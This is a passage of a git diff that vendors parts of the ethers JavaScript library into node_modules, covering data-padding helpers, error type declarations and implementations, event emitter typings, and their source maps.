%%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **values** are in Solidity + * (e.g. ``uint128``). + */ +export function zeroPadValue(data, length) { + return zeroPad(data, length, true); +} +/** + * Return the [[DataHexString]] of %%data%% padded on the **right** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **bytes** are in Solidity + * (e.g. ``bytes16``). + */ +export function zeroPadBytes(data, length) { + return zeroPad(data, length, false); +} +//# sourceMappingURL=data.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/data.js.map b/node_modules/ethers/lib.esm/utils/data.js.map new file mode 100644 index 000000000000..d167f3a0911d --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/data.js.map @@ -0,0 +1 @@ +{"version":3,"file":"data.js","sourceRoot":"","sources":["../../src.ts/utils/data.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AACH,OAAO,EAAE,MAAM,EAAE,cAAc,EAAE,MAAM,aAAa,CAAC;AAqBrD,SAAS,SAAS,CAAC,KAAgB,EAAE,IAAa,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MAAc,EAAE,IAAa;IAC3D,MAAM,KAAK,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC;IAC7B,MAAM,CAAC,MAAM,IAAI,KAAK,CAAC,MAAM,EAAE,6BAA6B,EAAE,gBAAgB,EAAE;QAC5E,MAAM,EAAE,IAAI,UAAU,CAAC,KAAK,CAAC;QAC7B,MAAM,EAAE,MAAM;QACd,MAAM,EAAE,MAAM,GAAG,CAAC;KACrB,CAAC,CAAC;IAEH,MAAM,MAAM,GAAG,IAAI,UAAU,CAAC,MAAM,CAAC,CAAC;IACtC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACf,IAAI,IAAI,EAAE;QACN,MAAM,CAAC,GAAG,CAAC,KAAK,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC,CAAC;KAC5C;SAAM;QACH,MAAM,CAAC,GAAG,CAAC,KAAK,EAAE,CAAC,CAAC,CAAC;KACxB;IAED,OAAO,OAAO,CAAC,MAAM,CAAC,CAAC;AAC3B,CAAC;AAED;;;;;;;;;GASG;AACH,MAAM,UAAU,YAAY,CAAC,IAAe,EAAE,MAAc;IACxD,OAAO,OAAO,CAAC,IAAI,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;AACvC,CAAC;AAED;;;;;;;;;GASG;AACH,MAAM,UAAU,YAAY,CAAC,IAAe,EAAE,MAAc;IACxD,OAAO,OAAO,CAAC,IAAI,EAAE,MAAM,EAAE,KAAK,CAAC,CAAC;AACxC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/errors.d.ts b/node_modules/ethers/lib.esm/utils/errors.d.ts new file mode 100644 index 000000000000..a7bab0d6255b --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/errors.d.ts @@ -0,0 +1,512 @@ +/** + * All errors in ethers include properties to ensure they are both + * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``). + * + * The [[isError]] function can be used to check the error ``code`` and + * provide a type guard for the properties present on that error interface. + * + * @_section: api/utils/errors:Errors [about-errors] + */ +import type { TransactionRequest, TransactionReceipt, TransactionResponse } from "../providers/index.js"; +import type { FetchRequest, FetchResponse } from "./fetch.js"; +/** + * An error may contain additional properties, but those must not + * conflict with any implicit properties. + */ +export type ErrorInfo = Omit & { + shortMessage?: string; +}; +/** + * All errors emitted by ethers have an **ErrorCode** to help + * identify and coalesce errors to simplify programmatic analysis. + * + * Each **ErrorCode** is the %%code%% proerty of a coresponding + * [[EthersError]]. + * + * **Generic Errors** + * + * **``"UNKNOWN_ERROR"``** - see [[UnknownError]] + * + * **``"NOT_IMPLEMENTED"``** - see [[NotImplementedError]] + * + * **``"UNSUPPORTED_OPERATION"``** - see [[UnsupportedOperationError]] + * + * **``"NETWORK_ERROR"``** - see [[NetworkError]] + * + * **``"SERVER_ERROR"``** - see [[ServerError]] + * + * **``"TIMEOUT"``** - see [[TimeoutError]] + * + * **``"BAD_DATA"``** - see [[BadDataError]] + * + * **``"CANCELLED"``** - see [[CancelledError]] + * + * **Operational Errors** + * + * **``"BUFFER_OVERRUN"``** - see [[BufferOverrunError]] + * + * **``"NUMERIC_FAULT"``** - see [[NumericFaultError]] + * + * **Argument Errors** + * + * **``"INVALID_ARGUMENT"``** - see [[InvalidArgumentError]] + * + * **``"MISSING_ARGUMENT"``** - see [[MissingArgumentError]] + * + * **``"UNEXPECTED_ARGUMENT"``** - see [[UnexpectedArgumentError]] + * + * **``"VALUE_MISMATCH"``** - //unused// + * + * **Blockchain Errors** + * + * **``"CALL_EXCEPTION"``** - see [[CallExceptionError]] + * + * **``"INSUFFICIENT_FUNDS"``** - see [[InsufficientFundsError]] + * + * **``"NONCE_EXPIRED"``** - see [[NonceExpiredError]] + * + * **``"REPLACEMENT_UNDERPRICED"``** - see [[ReplacementUnderpricedError]] + * + * **``"TRANSACTION_REPLACED"``** - see [[TransactionReplacedError]] + * + * **``"UNCONFIGURED_NAME"``** - see [[UnconfiguredNameError]] + * + * **``"OFFCHAIN_FAULT"``** - see [[OffchainFaultError]] + * + * **User Interaction Errors** + * + * **``"ACTION_REJECTED"``** - see [[ActionRejectedError]] + */ +export type ErrorCode = "UNKNOWN_ERROR" | "NOT_IMPLEMENTED" | "UNSUPPORTED_OPERATION" | "NETWORK_ERROR" | "SERVER_ERROR" | "TIMEOUT" | "BAD_DATA" | "CANCELLED" | "BUFFER_OVERRUN" | "NUMERIC_FAULT" | "INVALID_ARGUMENT" | "MISSING_ARGUMENT" | "UNEXPECTED_ARGUMENT" | "VALUE_MISMATCH" | "CALL_EXCEPTION" | "INSUFFICIENT_FUNDS" | "NONCE_EXPIRED" | "REPLACEMENT_UNDERPRICED" | "TRANSACTION_REPLACED" | "UNCONFIGURED_NAME" | "OFFCHAIN_FAULT" | "ACTION_REJECTED"; +/** + * All errors in Ethers include properties to assist in + * machine-readable errors. + */ +export interface EthersError extends Error { + /** + * The string error code. + */ + code: ErrorCode; + /** + * A short message describing the error, with minimal additional + * details. + */ + shortMessage: string; + /** + * Additional info regarding the error that may be useful. + * + * This is generally helpful mostly for human-based debugging. + */ + info?: Record; + /** + * Any related error. + */ + error?: Error; +} +/** + * This Error is a catch-all for when there is no way for Ethers to + * know what the underlying problem is. + */ +export interface UnknownError extends EthersError<"UNKNOWN_ERROR"> { + [key: string]: any; +} +/** + * This Error is mostly used as a stub for functionality that is + * intended for the future, but is currently not implemented. + */ +export interface NotImplementedError extends EthersError<"NOT_IMPLEMENTED"> { + /** + * The attempted operation. + */ + operation: string; +} +/** + * This Error indicates that the attempted operation is not supported. + * + * This could range from a specific JSON-RPC end-point not supporting + * a feature to a specific configuration of an object prohibiting the + * operation. + * + * For example, a [[Wallet]] with no connected [[Provider]] is unable + * to send a transaction. + */ +export interface UnsupportedOperationError extends EthersError<"UNSUPPORTED_OPERATION"> { + /** + * The attempted operation. + */ + operation: string; +} +/** + * This Error indicates a problem connecting to a network. + */ +export interface NetworkError extends EthersError<"NETWORK_ERROR"> { + /** + * The network event. + */ + event: string; +} +/** + * This Error indicates there was a problem fetching a resource from + * a server. + */ +export interface ServerError extends EthersError<"SERVER_ERROR"> { + /** + * The requested resource. + */ + request: FetchRequest | string; + /** + * The response received from the server, if available. + */ + response?: FetchResponse; +} +/** + * This Error indicates that the timeout duration has expired and + * that the operation has been implicitly cancelled. + * + * The side-effect of the operation may still occur, as this + * generally means a request has been sent and there has simply + * been no response to indicate whether it was processed or not. + */ +export interface TimeoutError extends EthersError<"TIMEOUT"> { + /** + * The attempted operation. + */ + operation: string; + /** + * The reason. + */ + reason: string; + /** + * The resource request, if available. + */ + request?: FetchRequest; +} +/** + * This Error indicates that a provided set of data cannot + * be correctly interpreted. + */ +export interface BadDataError extends EthersError<"BAD_DATA"> { + /** + * The data. + */ + value: any; +} +/** + * This Error indicates that the operation was cancelled by a + * programmatic call, for example to ``cancel()``. + */ +export interface CancelledError extends EthersError<"CANCELLED"> { +} +/** + * This Error indicates an attempt was made to read outside the bounds + * of protected data. + * + * Most operations in Ethers are protected by bounds checks, to mitigate + * exploits when parsing data. + */ +export interface BufferOverrunError extends EthersError<"BUFFER_OVERRUN"> { + /** + * The buffer that was overrun. + */ + buffer: Uint8Array; + /** + * The length of the buffer. + */ + length: number; + /** + * The offset that was requested. + */ + offset: number; +} +/** + * This Error indicates an operation which would result in incorrect + * arithmetic output has occurred. + * + * For example, trying to divide by zero or using a ``uint8`` to store + * a negative value. + */ +export interface NumericFaultError extends EthersError<"NUMERIC_FAULT"> { + /** + * The attempted operation. + */ + operation: string; + /** + * The fault reported. + */ + fault: string; + /** + * The value the operation was attempted against. + */ + value: any; +} +/** + * This Error indicates an incorrect type or value was passed to + * a function or method. + */ +export interface InvalidArgumentError extends EthersError<"INVALID_ARGUMENT"> { + /** + * The name of the argument. + */ + argument: string; + /** + * The value that was provided. + */ + value: any; + info?: Record; +} +/** + * This Error indicates there were too few arguments were provided. + */ +export interface MissingArgumentError extends EthersError<"MISSING_ARGUMENT"> { + /** + * The number of arguments received. + */ + count: number; + /** + * The number of arguments expected. + */ + expectedCount: number; +} +/** + * This Error indicates too many arguments were provided. + */ +export interface UnexpectedArgumentError extends EthersError<"UNEXPECTED_ARGUMENT"> { + /** + * The number of arguments received. + */ + count: number; + /** + * The number of arguments expected. + */ + expectedCount: number; +} +/** + * The action that resulted in the call exception. + */ +export type CallExceptionAction = "call" | "estimateGas" | "getTransactionResult" | "sendTransaction" | "unknown"; +/** + * The related transaction that caused the error. + */ +export type CallExceptionTransaction = { + to: null | string; + from?: string; + data: string; +}; +/** + * This **Error** indicates a transaction reverted. + */ +export interface CallExceptionError extends EthersError<"CALL_EXCEPTION"> { + /** + * The action being performed when the revert was encountered. + */ + action: CallExceptionAction; + /** + * The revert data returned. + */ + data: null | string; + /** + * A human-readable representation of data, if possible. + */ + reason: null | string; + /** + * The transaction that triggered the exception. + */ + transaction: CallExceptionTransaction; + /** + * The contract invocation details, if available. + */ + invocation: null | { + method: string; + signature: string; + args: Array; + }; + /** + * The built-in or custom revert error, if available + */ + revert: null | { + signature: string; + name: string; + args: Array; + }; + /** + * If the error occurred in a transaction that was mined + * (with a status of ``0``), this is the receipt. + */ + receipt?: TransactionReceipt; +} +/** + * The sending account has insufficient funds to cover the + * entire transaction cost. + */ +export interface InsufficientFundsError extends EthersError<"INSUFFICIENT_FUNDS"> { + /** + * The transaction. + */ + transaction: TransactionRequest; +} +/** + * The sending account has already used this nonce in a + * transaction that has been included. + */ +export interface NonceExpiredError extends EthersError<"NONCE_EXPIRED"> { + /** + * The transaction. + */ + transaction: TransactionRequest; +} +/** + * A CCIP-read exception, which cannot be recovered from or + * be further processed. + */ +export interface OffchainFaultError extends EthersError<"OFFCHAIN_FAULT"> { + /** + * The transaction. + */ + transaction?: TransactionRequest; + /** + * The reason the CCIP-read failed. + */ + reason: string; +} +/** + * An attempt was made to replace a transaction, but with an + * insufficient additional fee to afford evicting the old + * transaction from the memory pool. + */ +export interface ReplacementUnderpricedError extends EthersError<"REPLACEMENT_UNDERPRICED"> { + /** + * The transaction. + */ + transaction: TransactionRequest; +} +/** + * A pending transaction was replaced by another. + */ +export interface TransactionReplacedError extends EthersError<"TRANSACTION_REPLACED"> { + /** + * If the transaction was cancelled, such that the original + * effects of the transaction cannot be assured. + */ + cancelled: boolean; + /** + * The reason the transaction was replaced. + */ + reason: "repriced" | "cancelled" | "replaced"; + /** + * The hash of the replaced transaction. + */ + hash: string; + /** + * The transaction that replaced the transaction. + */ + replacement: TransactionResponse; + /** + * The receipt of the transaction that replace the transaction. + */ + receipt: TransactionReceipt; +} +/** + * This Error indicates an ENS name was used, but the name has not + * been configured. + * + * This could indicate an ENS name is unowned or that the current + * address being pointed to is the [[ZeroAddress]]. + */ +export interface UnconfiguredNameError extends EthersError<"UNCONFIGURED_NAME"> { + /** + * The ENS name that was requested + */ + value: string; +} +/** + * This Error indicates a request was rejected by the user. + * + * In most clients (such as MetaMask), when an operation requires user + * authorization (such as ``signer.sendTransaction``), the client + * presents a dialog box to the user. If the user denies the request + * this error is thrown. + */ +export interface ActionRejectedError extends EthersError<"ACTION_REJECTED"> { + /** + * The requested action. + */ + action: "requestAccess" | "sendTransaction" | "signMessage" | "signTransaction" | "signTypedData" | "unknown"; + /** + * The reason the action was rejected. + * + * If there is already a pending request, some clients may indicate + * there is already a ``"pending"`` action. This prevents an app + * from spamming the user. + */ + reason: "expired" | "rejected" | "pending"; +} +/** + * A conditional type that transforms the [[ErrorCode]] T into + * its EthersError type. + * + * @flatworm-skip-docs + */ +export type CodedEthersError = T extends "UNKNOWN_ERROR" ? UnknownError : T extends "NOT_IMPLEMENTED" ? NotImplementedError : T extends "UNSUPPORTED_OPERATION" ? UnsupportedOperationError : T extends "NETWORK_ERROR" ? NetworkError : T extends "SERVER_ERROR" ? ServerError : T extends "TIMEOUT" ? TimeoutError : T extends "BAD_DATA" ? BadDataError : T extends "CANCELLED" ? CancelledError : T extends "BUFFER_OVERRUN" ? BufferOverrunError : T extends "NUMERIC_FAULT" ? NumericFaultError : T extends "INVALID_ARGUMENT" ? InvalidArgumentError : T extends "MISSING_ARGUMENT" ? MissingArgumentError : T extends "UNEXPECTED_ARGUMENT" ? UnexpectedArgumentError : T extends "CALL_EXCEPTION" ? CallExceptionError : T extends "INSUFFICIENT_FUNDS" ? InsufficientFundsError : T extends "NONCE_EXPIRED" ? NonceExpiredError : T extends "OFFCHAIN_FAULT" ? OffchainFaultError : T extends "REPLACEMENT_UNDERPRICED" ? ReplacementUnderpricedError : T extends "TRANSACTION_REPLACED" ? TransactionReplacedError : T extends "UNCONFIGURED_NAME" ? UnconfiguredNameError : T extends "ACTION_REJECTED" ? ActionRejectedError : never; +/** + * Returns true if the %%error%% matches an error thrown by ethers + * that matches the error %%code%%. + * + * In TypeScript environments, this can be used to check that %%error%% + * matches an EthersError type, which means the expected properties will + * be set. + * + * @See [ErrorCodes](api:ErrorCode) + * @example + * try { + * // code.... + * } catch (e) { + * if (isError(e, "CALL_EXCEPTION")) { + * // The Type Guard has validated this object + * console.log(e.data); + * } + * } + */ +export declare function isError>(error: any, code: K): error is T; +/** + * Returns true if %%error%% is a [[CallExceptionError]. + */ +export declare function isCallException(error: any): error is CallExceptionError; +/** + * Returns a new Error configured to the format ethers emits errors, with + * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties + * for the corresponding EthersError. + * + * Each error in ethers includes the version of ethers, a + * machine-readable [[ErrorCode]], and depending on %%code%%, additional + * required properties. The error message will also include the %%message%%, + * ethers version, %%code%% and all additional properties, serialized. + */ +export declare function makeError>(message: string, code: K, info?: ErrorInfo): T; +/** + * Throws an EthersError with %%message%%, %%code%% and additional error + * %%info%% when %%check%% is falsish.. + * + * @see [[api:makeError]] + */ +export declare function assert>(check: unknown, message: string, code: K, info?: ErrorInfo): asserts check; +/** + * A simple helper to simply ensuring provided arguments match expected + * constraints, throwing if not. + * + * In TypeScript environments, the %%check%% has been asserted true, so + * any further code does not need additional compile-time checks. + */ +export declare function assertArgument(check: unknown, message: string, name: string, value: unknown): asserts check; +export declare function assertArgumentCount(count: number, expectedCount: number, message?: string): void; +/** + * Throws if the normalization %%form%% is not supported. + */ +export declare function assertNormalize(form: string): void; +/** + * Many classes use file-scoped values to guard the constructor, + * making it effectively private. This facilitates that pattern + * by ensuring the %%givenGaurd%% matches the file-scoped %%guard%%, + * throwing if not, indicating the %%className%% if provided. + */ +export declare function assertPrivate(givenGuard: any, guard: any, className?: string): void; +//# sourceMappingURL=errors.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/errors.d.ts.map b/node_modules/ethers/lib.esm/utils/errors.d.ts.map new file mode 100644 index 000000000000..f16258befef3 --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/errors.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"errors.d.ts","sourceRoot":"","sources":["../../src.ts/utils/errors.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAMH,OAAO,KAAK,EACR,kBAAkB,EAAE,kBAAkB,EAAE,mBAAmB,EAC9D,MAAM,uBAAuB,CAAC;AAE/B,OAAO,KAAK,EAAE,YAAY,EAAE,aAAa,EAAE,MAAM,YAAY,CAAC;AAE9D;;;GAGG;AACH,MAAM,MAAM,SAAS,CAAC,CAAC,IAAI,IAAI,CAAC,CAAC,EAAE,MAAM,GAAG,MAAM,GAAG,SAAS,GAAG,cAAc,CAAC,GAAG;IAAE,YAAY,CAAC,EAAE,MAAM,CAAA;CAAE,CAAC;AA+C7G;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA4DG;AACH,MAAM,MAAM,SAAS,GAGjB,eAAe,GAAG,iBAAiB,GAAG,uBAAuB,GAC7D,eAAe,GAAG,cAAc,GAAG,SAAS,GAAG,UAAU,GACzD,WAAW,GAGX,gBAAgB,GAAI,eAAe,GAGnC,kBAAkB,GAAG,kBAAkB,GAAG,qBAAqB,GAC/D,gBAAgB,GAGhB,gBAAgB,GAAG,oBAAoB,GAAG,eAAe,GACzD,yBAAyB,GAAG,sBAAsB,GAClD,mBAAmB,GAAG,gBAAgB,GAGtC,iBAAiB,C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,CAAC,CAAC,CAAC,GAAG,OAAO,CAAC,KAAK,CAEvJ;AAGD;;;;;;GAMG;AACH,wBAAgB,cAAc,CAAC,KAAK,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,EAAE,KAAK,EAAE,OAAO,GAAG,OAAO,CAAC,KAAK,CAE3G;AAED,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,MAAM,EAAE,aAAa,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,MAAM,GAAG,IAAI,CAahG;AAuBD;;GAEG;AACH,wBAAgB,eAAe,CAAC,IAAI,EAAE,MAAM,GAAG,IAAI,CAIlD;AAED;;;;;GAKG;AACH,wBAAgB,aAAa,CAAC,UAAU,EAAE,GAAG,EAAE,KAAK,EAAE,GAAG,EAAE,SAAS,CAAC,EAAE,MAAM,GAAG,IAAI,CAYnF"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/errors.js b/node_modules/ethers/lib.esm/utils/errors.js new file mode 100644 index 000000000000..b40e1014b16e --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/errors.js @@ -0,0 +1,232 @@ +/** + * All errors in ethers include properties to ensure they are both + * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``). + * + * The [[isError]] function can be used to check the error ``code`` and + * provide a type guard for the properties present on that error interface. + * + * @_section: api/utils/errors:Errors [about-errors] + */ +import { version } from "../_version.js"; +import { defineProperties } from "./properties.js"; +function stringify(value, seen) { + if (value == null) { + return "null"; + } + if (seen == null) { + seen = new Set(); + } + if (typeof (value) === "object") { + if (seen.has(value)) { + return "[Circular]"; + } + seen.add(value); + } + if (Array.isArray(value)) { + return "[ " + (value.map((v) => stringify(v, seen))).join(", ") + " ]"; + } + if (value instanceof Uint8Array) { + const HEX = "0123456789abcdef"; + let result = "0x"; + for (let i = 0; i < value.length; i++) { + result += HEX[value[i] >> 4]; + result += HEX[value[i] & 0xf]; + } + return result; + } + if (typeof (value) === "object" && typeof (value.toJSON) === "function") { + return stringify(value.toJSON(), seen); + } + switch (typeof (value)) { + case "boolean": + case "number": + case "symbol": + return value.toString(); + case "bigint": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{ " + keys.map((k) => `${stringify(k, seen)}: ${stringify(value[k], seen)}`).join(", ") + " }"; + } + } + return `[ COULD NOT SERIALIZE ]`; +} +/** + * Returns true if the %%error%% matches an error thrown by ethers + * that matches the error %%code%%. + * + * In TypeScript environments, this can be used to check that %%error%% + * matches an EthersError type, which means the expected properties will + * be set. + * + * @See [ErrorCodes](api:ErrorCode) + * @example + * try { + * // code.... + * } catch (e) { + * if (isError(e, "CALL_EXCEPTION")) { + * // The Type Guard has validated this object + * console.log(e.data); + * } + * } + */ +export function isError(error, code) { + return (error && error.code === code); +} +/** + * Returns true if %%error%% is a [[CallExceptionError]. + */ +export function isCallException(error) { + return isError(error, "CALL_EXCEPTION"); +} +/** + * Returns a new Error configured to the format ethers emits errors, with + * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties + * for the corresponding EthersError. + * + * Each error in ethers includes the version of ethers, a + * machine-readable [[ErrorCode]], and depending on %%code%%, additional + * required properties. The error message will also include the %%message%%, + * ethers version, %%code%% and all additional properties, serialized. + */ +export function makeError(message, code, info) { + let shortMessage = message; + { + const details = []; + if (info) { + if ("message" in info || "code" in info || "name" in info) { + throw new Error(`value will overwrite populated values: ${stringify(info)}`); + } + for (const key in info) { + if (key === "shortMessage") { + continue; + } + const value = (info[key]); + // try { + details.push(key + "=" + stringify(value)); + // } catch (error: any) { + // console.log("MMM", error.message); + // details.push(key + "=[could not serialize object]"); + // } + } + } + details.push(`code=${code}`); + details.push(`version=${version}`); + if (details.length) { + message += " (" + details.join(", ") + ")"; + } + } + let error; + switch (code) { + case "INVALID_ARGUMENT": + error = new TypeError(message); + break; + case "NUMERIC_FAULT": + case "BUFFER_OVERRUN": + error = new RangeError(message); + break; + default: + error = new Error(message); + } + defineProperties(error, { code }); + if (info) { + Object.assign(error, info); + } + if (error.shortMessage == null) { + defineProperties(error, { shortMessage }); + } + return error; +} +/** + * Throws an EthersError with %%message%%, %%code%% and additional error + * %%info%% when %%check%% is falsish.. + * + * @see [[api:makeError]] + */ +export function assert(check, message, code, info) { + if (!check) { + throw makeError(message, code, info); + } +} +/** + * A simple helper to simply ensuring provided arguments match expected + * constraints, throwing if not. + * + * In TypeScript environments, the %%check%% has been asserted true, so + * any further code does not need additional compile-time checks. + */ +export function assertArgument(check, message, name, value) { + assert(check, message, "INVALID_ARGUMENT", { argument: name, value: value }); +} +export function assertArgumentCount(count, expectedCount, message) { + if (message == null) { + message = ""; + } + if (message) { + message = ": " + message; + } + assert(count >= expectedCount, "missing argument" + message, "MISSING_ARGUMENT", { + count: count, + expectedCount: expectedCount + }); + assert(count <= expectedCount, "too many arguments" + message, "UNEXPECTED_ARGUMENT", { + count: count, + expectedCount: expectedCount + }); +} +const _normalizeForms = ["NFD", "NFC", "NFKD", "NFKC"].reduce((accum, form) => { + try { + // General test for normalize + /* c8 ignore start */ + if ("test".normalize(form) !== "test") { + throw new Error("bad"); + } + ; + /* c8 ignore stop */ + if (form === "NFD") { + const check = String.fromCharCode(0xe9).normalize("NFD"); + const expected = String.fromCharCode(0x65, 0x0301); + /* c8 ignore start */ + if (check !== expected) { + throw new Error("broken"); + } + /* c8 ignore stop */ + } + accum.push(form); + } + catch (error) { } + return accum; +}, []); +/** + * Throws if the normalization %%form%% is not supported. + */ +export function assertNormalize(form) { + assert(_normalizeForms.indexOf(form) >= 0, "platform missing String.prototype.normalize", "UNSUPPORTED_OPERATION", { + operation: "String.prototype.normalize", info: { form } + }); +} +/** + * Many classes use file-scoped values to guard the constructor, + * making it effectively private. This facilitates that pattern + * by ensuring the %%givenGaurd%% matches the file-scoped %%guard%%, + * throwing if not, indicating the %%className%% if provided. + */ +export function assertPrivate(givenGuard, guard, className) { + if (className == null) { + className = ""; + } + if (givenGuard !== guard) { + let method = className, operation = "new"; + if (className) { + method += "."; + operation += " " + className; + } + assert(false, `private constructor; use ${method}from* methods`, "UNSUPPORTED_OPERATION", { + operation + }); + } +} +//# sourceMappingURL=errors.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/errors.js.map b/node_modules/ethers/lib.esm/utils/errors.js.map new file mode 100644 index 000000000000..d2a3f79aefde --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/errors.js.map @@ -0,0 +1 @@ +{"version":3,"file":"errors.js","sourceRoot":"","sources":["../../src.ts/utils/errors.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,OAAO,EAAE,OAAO,EAAE,MAAM,gBAAgB,CAAC;AAEzC,OAAO,EAAE,gBAAgB,EAAE,MAAM,iBAAiB,CAAC;AAenD,SAAS,SAAS,CAAC,KAAU,EAAE,IAAe;IAC1C,IAAI,KAAK,IAAI,IAAI,EAAE;QAAE,OAAO,MAAM,CAAC;KAAE;IAErC,IAAI,IAAI,IAAI,IAAI,EAAE;QAAE,IAAI,GAAG,IAAI,GAAG,EAAE,CAAC;KAAE;IACvC,IAAI,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ,EAAE;QAC5B,IAAI,IAAI,CAAC,GAAG,CAAC,KAAK,CAAC,EAAE;YAAE,OAAO,YAAY,CAAC;SAAE;QAC7C,IAAI,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC;KACnB;IAED,IAAI,KAAK,CAAC,OAAO,CAAC,KAAK,CAAC,EAAE;QACtB,OAAO,IAAI,GAAG,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,SAAS,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,IAAI,CAAC;KAC1E;IAED,IAAI,KAAK,YAAY,UAAU,EAAE;QAC7B,MAAM,GAAG,GAAG,kBAAkB,CAAC;QAC/B,IAAI,MAAM,GAAG,IAAI,CAAC;QAClB,KAAK,IAAI,CA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CAA6C,EAAE,uBAAuB,EAAE;QAC/G,SAAS,EAAE,4BAA4B,EAAE,IAAI,EAAE,EAAE,IAAI,EAAE;KAC1D,CAAC,CAAC;AACP,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,aAAa,CAAC,UAAe,EAAE,KAAU,EAAE,SAAkB;IACzE,IAAI,SAAS,IAAI,IAAI,EAAE;QAAE,SAAS,GAAG,EAAE,CAAC;KAAE;IAC1C,IAAI,UAAU,KAAK,KAAK,EAAE;QACtB,IAAI,MAAM,GAAG,SAAS,EAAE,SAAS,GAAG,KAAK,CAAC;QAC1C,IAAI,SAAS,EAAE;YACX,MAAM,IAAI,GAAG,CAAC;YACd,SAAS,IAAI,GAAG,GAAG,SAAS,CAAC;SAChC;QACD,MAAM,CAAC,KAAK,EAAE,4BAA6B,MAAO,eAAe,EAAE,uBAAuB,EAAE;YACxF,SAAS;SACZ,CAAC,CAAC;KACN;AACL,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/events.d.ts b/node_modules/ethers/lib.esm/utils/events.d.ts new file mode 100644 index 000000000000..5da08892307e --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/events.d.ts @@ -0,0 +1,77 @@ +/** + * A callback function called when a an event is triggered. + */ +export type Listener = (...args: Array) => void; +/** + * An **EventEmitterable** behaves similar to an EventEmitter + * except provides async access to its methods. + * + * An EventEmitter implements the observer pattern. + */ +export interface EventEmitterable { + /** + * Registers a %%listener%% that is called whenever the + * %%event%% occurs until unregistered. + */ + on(event: T, listener: Listener): Promise; + /** + * Registers a %%listener%% that is called the next time + * %%event%% occurs. + */ + once(event: T, listener: Listener): Promise; + /** + * Triggers each listener for %%event%% with the %%args%%. + */ + emit(event: T, ...args: Array): Promise; + /** + * Resolves to the number of listeners for %%event%%. + */ + listenerCount(event?: T): Promise; + /** + * Resolves to the listeners for %%event%%. + */ + listeners(event?: T): Promise>; + /** + * Unregister the %%listener%% for %%event%%. If %%listener%% + * is unspecified, all listeners are unregistered. + */ + off(event: T, listener?: Listener): Promise; + /** + * Unregister all listeners for %%event%%. + */ + removeAllListeners(event?: T): Promise; + /** + * Alias for [[on]]. + */ + addListener(event: T, listener: Listener): Promise; + /** + * Alias for [[off]]. + */ + removeListener(event: T, listener: Listener): Promise; +} +/** + * When an [[EventEmitterable]] triggers a [[Listener]], the + * callback always ahas one additional argument passed, which is + * an **EventPayload**. + */ +export declare class EventPayload { + #private; + /** + * The event filter. + */ + readonly filter: T; + /** + * The **EventEmitterable**. + */ + readonly emitter: EventEmitterable; + /** + * Create a new **EventPayload** for %%emitter%% with + * the %%listener%% and for %%filter%%. + */ + constructor(emitter: EventEmitterable, listener: null | Listener, filter: T); + /** + * Unregister the triggered listener for future events. + */ + removeListener(): Promise; +} +//# sourceMappingURL=events.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/utils/events.d.ts.map b/node_modules/ethers/lib.esm/utils/events.d.ts.map new file mode 100644 index 000000000000..645e81ffb1ad --- /dev/null +++ b/node_modules/ethers/lib.esm/utils/events.d.ts.map @@ -0,0 +1 @@ 